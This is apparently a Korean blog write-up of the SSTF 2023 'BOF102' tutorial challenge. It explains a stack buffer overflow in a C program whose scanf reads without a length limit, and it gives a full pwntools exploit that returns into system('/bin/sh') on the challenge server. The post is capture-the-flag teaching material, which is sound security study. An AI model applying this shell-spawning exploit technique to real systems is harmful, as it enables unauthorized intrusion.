[pwn] Tutorial - BOF102
1. 문제 설명
This is an advanced course in Buffer Overflow.
The binary is running at: nc bof102.sstf.site 1337.
Get the shell of the server!
2. Writeup
바이너리와 코드가 제공되는 튜토리얼 문제이다.
#include <stdio.h>
#include <stdlib.h>
char name[16];
void bofme() {
char payload[16];
puts("What's your name?");
printf("Name > ");
scanf("%16s", name);
printf("Hello, %s.\n", name);
puts("Do you wanna build a snowman?");
printf(" > ");
scanf("%s", payload);
printf("!!!%s!!!\n", payload);
puts("Good.");
}
int main() {
system("echo 'Welcome to BOF 102!'");
bofme();
return 0;
}
1) 문제 분석
bof() 함수내에서 char payload[16]으로 16byte 크기의 로컬 변수를 선언하였다.
그러나 scanf("%s", payload); 를 통해서 사용자의 입력을 받을 때 입력의 크기를 제한하지 않는다.
이는 스택 버퍼오버플로우(BOF) 취약점으로 이어질 수 있다.
여기서 주목해야 하는 부분은 main() 함수의 system("echo 'Welcome to BOF 102!'"); 부분이다.
system() 함수의 인자값을 "/bin/sh"로 변경한다면 쉘을 휙득할 수 있다.
2) 보호기법 확인
3) Exploit
system("/bin/sh") 로 쉘을 휙득하기 위해 필요한 정보는 다음과 같다.
- system() 함수의 주소
- "/bin/sh" 문자열의 주소
system() 함수의 주소는 main() 함수에서 사용하고 있기 때문에 .plt 섹션에서 찾을 수 있다.
PIE가 활성화되어 있지 않으므로 system() 주소는 고정이다.
System() 함수의 주소 구하기
1. objdump 이용하기
objdump 명령은 컴파일된 바이너리 파일의 어셈블리 코드를 분석하고 디스어셈블리된 내용을 보여주는 도구이다. 여기서 objdump -d -j .plt bof102 명령은 bof102라는 실행 파일의 .plt 섹션에 있는 어셈블리 코드를 디스어셈블리하여 보여준다.
2. gdb의 p 명령어 이용하기
위 두 가지 방법을 통해서 system() 함수의 주소가 0x8048430 이라는것을 알 수 있다.
"/bin/sh" 문자열의 주소 구하기
우선 메모리내에 "/bin/sh" 문자열이 존재해야 한다. 이 문자열을 삽입하기 위해 전역변수로 선언된 name 변수를 이용할 수 있다. bofme() 함수의 첫 부분에 What's your name? 으로 사용자에게 16byte를 입력받고 name 에 저장하는 코드가 있다.
이 부분에 "/bin/sh" 문자열을 입력하고 system() 함수의 인자값으로 name 주소값을 넘겨주면 된다.
from pwn import *
r = remote('bof102.sstf.site', 1337)
payload = b"A"*(16 + 4)
payload += p32(0x8048430) # system address
payload += b"A"*4 # system return address
payload += p32(0x804a06c) # name address
r.recvuntil("Name > ")
r.sendline(b'/bin/sh')
r.recvuntil(" > ")
r.sendline(payload)
r.interactive()
'🚩 CTF Writeup > SSTF 2023' 카테고리의 다른 글
[pwn] Tutorial - BOF104 (0) | 2024.01.10 |
---|---|
[pwn] Tutorial - BOF103 (0) | 2024.01.10 |
[pwn] Tutorial - BOF101 (0) | 2024.01.10 |
[web] Tutorial - SQLi 103 (0) | 2024.01.10 |
[web] Tutorial - SQLi 102 (0) | 2024.01.10 |
댓글
이 글 공유하기
다른 글
-
[pwn] Tutorial - BOF104
[pwn] Tutorial - BOF104
2024.01.10 -
[pwn] Tutorial - BOF103
[pwn] Tutorial - BOF103
2024.01.10 -
[pwn] Tutorial - BOF101
[pwn] Tutorial - BOF101
2024.01.10 -
[web] Tutorial - SQLi 103
[web] Tutorial - SQLi 103
2024.01.10